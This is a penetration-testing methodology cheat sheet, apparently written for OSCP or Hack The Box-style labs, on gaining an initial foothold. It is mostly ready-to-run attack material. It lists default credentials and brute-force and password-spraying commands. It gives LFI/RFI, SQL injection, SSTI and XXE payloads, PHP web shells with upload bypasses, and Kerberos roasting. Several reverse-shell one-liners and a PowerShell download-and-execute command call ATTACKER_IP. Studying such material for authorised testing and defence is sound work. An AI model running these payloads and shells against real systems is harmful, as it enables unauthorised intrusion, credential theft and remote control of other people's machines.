Initial Foothold — Techniques & Methodology

Mindset

Getting a foothold is about finding one exploitable path into the system. Enumerate thoroughly before assuming nothing is there.

Service → attack map: Attack Path Graph · After creds: Credential Graph

Enumerate → Find attack surface → Test/exploit → Get shell → Stabilize

📌 Phase 1 — Enumeration First

Never skip full enumeration. Most footholds come from something you almost missed.

# Full port scan first (don't just scan top 1000)
nmap -sC -sV -p- --open -T4 TARGET -oN full_scan.txt
# Faster alternative: rustscan -a TARGET -u 5000 -- -sV -sC -Pn -oA scans/rust
 
# UDP scan (don't skip — SNMP, TFTP, DNS often overlooked)
nmap -sU --top-ports 100 TARGET
 
# Web — run in parallel
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 40
python3 /usr/share/cmseek/cmseek.py -u http://TARGET/ --light-scan &
nikto -h http://TARGET
 
# SMB
enum4linux -a TARGET
nmap -p 445 --script smb-vuln* TARGET

📌 1) Default & Weak Credentials

Full reference + lab log: Default Credentials — by service/version, databases, SNMP, auth-bypass payloads.

Try these before anything else — costs nothing, often works.

# Common default credentials to always try
admin:admin
admin:password
admin:Password1
admin:123456
admin:(blank)
root:root
root:toor
guest:guest
administrator:administrator
test:test

Quick table (see Default Credentials for full list)

ServiceCommon Defaults
SSHroot:root, admin:admin, pi:raspberry (Raspberry Pi)
FTPanonymous: (blank), ftp:ftp
Telnetadmin:admin, root:root
HTTP Basic Authadmin:admin, admin:password
MySQLroot: (blank), root:root
MSSQLsa: (blank), sa:sa — domain cred on 1433 → impacket-mssqlclient DOMAIN/user:pass@TARGET -windows-auth
RDPadministrator:password
SNMPcommunity string: public, private, community
POP3 / IMAPUser from SMTP enum or spray — then read mail (Mail (SMTP POP3 IMAP))
SMTPVRFY/EXPN user enum — see Mail (SMTP POP3 IMAP)
Tomcat Managertomcat:tomcat, admin:admin, tomcat:s3cret — see Tomcat
Jenkinsadmin:password, check /var/jenkins_home/secrets/initialAdminPassword
WordPressadmin:admin, admin:password
Login SQL bypass' OR 1=1--, admin'-- — see Default Credentials > 📌 Authentication bypass (login inputs)
# Brute force once you have a username list
# Step 1 — weak creds (null / same / reverse) before rockyou
hydra -L users.txt -e nsr TARGET ftp -t 6 -f -V
 
# Step 2 — full wordlist (+ still use -e nsr)
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET ftp -t 6 -f -e nsr
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET ssh -t 4 -f -e nsr
hydra -L users.txt -P passwords.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid" -f

Username list tip: Include lowercase and capitalized forms (otis, Otis, OTIS) from SMB/LDAP/web enum before spraying.

Hydra > FTP · Hydra > 📌 5) Extra Checks (`-e`)


📌 2) Web Application Attacks

2.1 — Source Code & Comments

Always view page source first:

Right-click → View Page Source
Ctrl+U

Look for:

  • Hardcoded passwords or API keys
  • Hidden form fields (type="hidden")
  • Commented-out endpoints or credentials
  • JavaScript files with sensitive logic
  • Developer notes / TODO comments
# Download and grep all JS files
curl -s http://TARGET/app.js | grep -i "pass\|key\|secret\|token\|api"

2.2 — Directory & File Enumeration

# Standard scan
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak,old,zip -t 40
 
# Bigger wordlist
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 30
 
# Check every found directory recursively
gobuster dir -u http://TARGET/admin -w /usr/share/wordlists/dirb/common.txt
 
# Things to check when you find paths
/admin          /backup         /config
/upload         /uploads        /.git          # → [[Git & GitHub]]
/api            /api/v1         /graphql      # → [[GraphQL]]
/phpmyadmin     /wp-admin       /manager        /.env
/robots.txt     /sitemap.xml    /crossdomain.xml
/server-status  /.htaccess      /web.config

2.2.1 — CMS Detection

Run early on any HTTP service — identifies stack before you pick the right scanner:

# Parallel with gobuster/nikto
python3 /usr/share/cmseek/cmseek.py -u http://TARGET/ -v --follow-redirect
# or: cmseek   (guided)
 
nikto -h http://TARGET
CMS foundNext
WordPressWPScan — users, plugins, themes
Joomla / Drupalsearchsploit + version → Trickest CVE
UnknownKeep Gobuster / Nikto — see CMSeeK - cmseek

2.3 — Local File Inclusion (LFI)

If the app takes a filename/path as a parameter:

http://TARGET/page.php?file=about
http://TARGET/index.php?page=home
# Try path traversal
http://TARGET/page.php?file=../../../../etc/passwd
http://TARGET/page.php?file=....//....//....//etc/passwd
http://TARGET/page.php?file=%2F%2F%2F%2Fetc%2Fpasswd
 
# Windows targets
http://TARGET/page.php?file=../../../../windows/system32/drivers/etc/hosts
http://TARGET/page.php?file=C:\Windows\System32\drivers\etc\hosts
 
# LFI → RCE via log poisoning
# 1. Inject PHP into SSH auth log via username
ssh '<?php system($_GET["cmd"]); ?>'@TARGET
# 2. Include the log with LFI
http://TARGET/page.php?file=/var/log/auth.log&cmd=id
 
# LFI → RCE via /proc/self/environ
http://TARGET/page.php?file=/proc/self/environ&cmd=id

See Local File Inclusion (LFI) for full technique list.

2.4 — Remote File Inclusion (RFI)

Same page= / file= parameters — try remote URL instead of path traversal:

# Kali — host PHP payload
echo '<?php system($_GET["cmd"]); ?>' > /tmp/rfi.txt
python3 -m http.server 8000 --bind 0.0.0.0
 
# Trigger (replace TUN0_IP)
curl "http://TARGET/index.php?page=http://TUN0_IP:8000/rfi.txt&cmd=id"

Full bypasses (SMB/WebDAV, ftp:// when http:// blocked), allow_url_includeRemote File Inclusion (RFI)


2.4 — SQL Injection

Look for login forms, search bars, URL parameters, anything that queries a database:

# Manual test
' OR '1'='1
' OR 1=1--
admin'--
' OR '1'='1'--
" OR "1"="1
 
# Error-based — trigger a syntax error to confirm SQLi
'
''
`
# Automated with sqlmap
sqlmap -u "http://TARGET/login.php" --data="user=admin&pass=test" --batch
sqlmap -u "http://TARGET/page.php?id=1" --batch --dbs
sqlmap -u "http://TARGET/page.php?id=1" --batch -D dbname --tables
sqlmap -u "http://TARGET/page.php?id=1" --batch -D dbname -T users --dump
 
# From a captured Burp request
sqlmap -r request.txt --batch --level=3 --risk=2
sqlmap -r reset.req -p email --batch --level 3 -D usage_blog -T admin_users --dump

WebSocket SQLi

If input reaches the database via JSON/text over ws:// / wss:// (not a normal GET/POST):

  1. Burp Suite → WebSockets history → Repeater → test ' , SLEEP(5) in message fields
  2. Try native sqlmap on ws:// + JSON --data (soc-player pattern):
    sqlmap -u "ws://TARGET:9091" --data '{"id": "*"}' --batch --dbs
    sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --threads 10 -D soccer_db --dump --batch
  3. If that fails → HTTP→WebSocket bridge on localhost → sqlmap hits http://127.0.0.1:8081/?id=PAYLOAD
  4. See SQLMap > WebSockets — SQLi over ws:// / wss://

See SQL Injection for full union/error/blind techniques.


2.5 — File Upload Vulnerabilities

Look for upload forms (profile pics, attachments, document uploads):

# Try uploading a PHP web shell directly
# Create: shell.php
<?php system($_GET['cmd']); ?>
 
# If PHP is blocked — try extension bypasses
shell.php5     shell.php3     shell.phtml
shell.pHp      shell.PHP      shell.Php
shell.php.jpg  shell.php%00   shell.php.
 
# Upload and trigger
http://TARGET/uploads/shell.php?cmd=id
http://TARGET/uploads/shell.php?cmd=whoami
 
# Bypass MIME type check — set Content-Type to image/jpeg in Burp
# but keep the PHP payload in the body

2.6 — Command Injection

If a web app runs OS commands with user input (ping, nslookup, etc.):

# Injection characters to test
; id
| id
|| id
& id
&& id
`id`
$(id)
 
# Examples in a URL
http://TARGET/ping.php?ip=127.0.0.1; cat /etc/passwd
http://TARGET/dns.php?host=target.com | id
 
# Reverse shell via command injection
; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/sh","-i"])'

2.7 — XXE (XML External Entity)

If the app accepts XML input:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<!-- SSRF via XXE -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

2.8 — SSTI (Server-Side Template Injection)

Test in any input that reflects content back:

{{7*7}}          → Jinja2/Twig (Python/PHP)  — should return 49
${7*7}           → Freemarker (Java)
<%= 7*7 %>       → ERB (Ruby)
#{7*7}           → Ruby
# Jinja2 RCE (Python/Flask)
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[396]('id', shell=True, stdout=-1).communicate()[0].strip() }}

📌 3) SMB Attacks

# Null session enumeration — find shares and users
enum4linux -a TARGET
smbmap -H TARGET
smbclient -L //TARGET -N
 
# Connect to readable shares
smbclient //TARGET/Backups -N
smbclient //TARGET/SYSVOL -U user%password
 
# Look in shares for: passwords, scripts, config files, notes
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
 
# EternalBlue (MS17-010) — check first
nmap -p 445 --script smb-vuln-ms17-010 TARGET
# If vulnerable → use Metasploit: exploit/windows/smb/ms17_010_eternalblue

📌 4) FTP Attacks

# Anonymous login
ftp TARGET
# Login: anonymous  Password: (blank or anything)
ftp> ls -la
ftp> get sensitive_file.txt
 
# Check for writable directories → upload web shell
ftp> put shell.php
 
# Banner grab
nc -nv TARGET 21

📌 5) SSH Attacks

# Brute force with known username
hydra -l root -P /usr/share/wordlists/rockyou.txt TARGET ssh -t 4 -f
 
# Found a private key? Use it
chmod 600 id_rsa
ssh -i id_rsa user@TARGET
 
# Crack passphrase-protected key
ssh2john id_rsa > id_rsa.hash
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt

📌 6) Service-Specific Exploits

Find the version, look for public exploits

# Get exact version from Nmap
nmap -sV -p- TARGET
 
# Search for exploits
searchsploit "Apache 2.4.49"
searchsploit "vsftpd 2.3.4"
searchsploit "ProFTPd 1.3.5"
 
# Metasploit search
search type:exploit name:vsftpd
 
# Online resources
# https://www.exploit-db.com
# https://nvd.nist.gov/vuln/search
# https://github.com/search?q=CVE-XXXX

Common vulnerable services (OSCP staples)

Service / VersionVulnerability
vsftpd 2.3.4Backdoor RCE (port 6200)
Samba < 3.0.20Username map script RCE (MS-06-025)
Apache 2.4.49/50Path traversal + RCE (CVE-2021-41773)
MS17-010 (EternalBlue)SMB RCE — Windows XP/7/2008
BlueKeep (CVE-2019-0708)RDP RCE — Windows 7/2008
ShellShock (CVE-2014-6271)Bash env var RCE via CGI
Heartbleed (CVE-2014-0160)OpenSSL memory disclosure
PrintNightmare (CVE-2021-1675)Windows Print Spooler RCE/LPE
Log4Shell (CVE-2021-44228)Java Log4j JNDI RCE
ProFTPd 1.3.5mod_copy arbitrary file copy → RCE

📌 7) Active Directory Entry Points

7.0 — Kerberos client setup + time sync (do first)

Before getTGT, -k, or kinit from Kali: Kerberos Setup - krb5.conf (hosts + /etc/krb5.conf).

Kerberos fails with KRB_AP_ERR_SKEW if Kali clock is >5 minutes off the domain controller.

sudo timedatectl set-ntp false
sudo ntpdate -s TARGET_DC_IP
date

Full reference: Time Sync · Kerberos Setup - krb5.conf

7.1 — Null Session / Anonymous LDAP

# Enumerate AD users without credentials
enum4linux -U TARGET
rpcclient -U "" -N TARGET -c "enumdomusers"
ldapsearch -H ldap://TARGET -x -b "DC=domain,DC=local" "(objectClass=user)"

See ldapsearch for full LDAP filters (SPNs, AS-REP accounts, domain admins).

7.2 — AS-REP Roasting (no creds needed)

Accounts with “Do not require Kerberos preauthentication” set:

impacket-GetNPUsers domain.local/ -dc-ip TARGET -no-pass -usersfile users.txt -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

User list from XMPP (port 5222): Pidgin → Search for Users (*) → parse with Pipelines & Chainingusers.txt → feed into GetNPUsers above. See UseCases for ports > Port 5222 / 5223 — XMPP / Jabber.

7.3 — Kerberoasting (needs low-priv creds)

impacket-GetUserSPNs domain.local/user:password -dc-ip TARGET -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt

7.4 — Password Spraying

# Get policy first — check lockout threshold
crackmapexec smb TARGET -u valid_user -p password --pass-pol
 
# Spray one password
crackmapexec smb TARGET -u users.txt -p 'Password123' --continue-on-success

7.5 — LLMNR / NBT-NS Poisoning (Responder)

Works on the local network — captures NetNTLM hashes when machines try to resolve names:

# Start Responder on your interface
responder -I eth0 -rdwv
 
# Wait for a hash to come in, then crack it
hashcat -m 5600 netntlmv2.txt /usr/share/wordlists/rockyou.txt

7.6 — GPP Passwords (Group Policy Preferences)

Old domain environments may have passwords in SYSVOL (encrypted with a publicly known key):

# Find cpassword in SYSVOL
smbclient //DC_IP/SYSVOL -U user%password
find . -name "*.xml" | xargs grep -l "cpassword"
 
# Decrypt cpassword
gpp-decrypt "encrypted_cpassword_here"
 
# Automated
crackmapexec smb TARGET -u user -p password -M gpp_password

📌 8) Shell Delivery & Stabilization

Getting a reverse shell

# Set up listener first
penelope -O -p 4444      # preferred — **[[Penelope]]**
nc -lvnp 4444
# or
rlwrap nc -lvnp 4444     # Better arrow key support
 
# Common one-liners (try these in order)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')"

Stabilize a raw shell (Linux)

# Method 1 — Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background
stty raw -echo; fg
export TERM=xterm
 
# Method 2 — script
script -qc /bin/bash /dev/null

📌 9) Methodology Checklist

When you’re stuck, go through this order:

✅ Full port scan done (all ports, not just top 1000)?
✅ UDP scan done?
✅ Every open port checked for version + exploit?
✅ Web app — source code viewed?
✅ Web app — robots.txt / sitemap.xml checked?
✅ Web app — directory brute-force done (with extensions)?
✅ Web app — every parameter tested for SQLi / LFI?
✅ Web app — WebSocket messages tested (Burp) if app uses ws:// / wss://?
✅ Web app — every upload form tested?
✅ FTP — anonymous login tried?
✅ SMB — null session tried?
✅ SMB — shares listed and browsed?
✅ Default creds tried on every service?
✅ Service versions checked against exploit-db / searchsploit?
✅ AD — user enumeration without creds?
✅ AD — AS-REP Roasting tried?
✅ If creds found — tried on ALL services (password reuse)?
✅ Went back and enumerated more?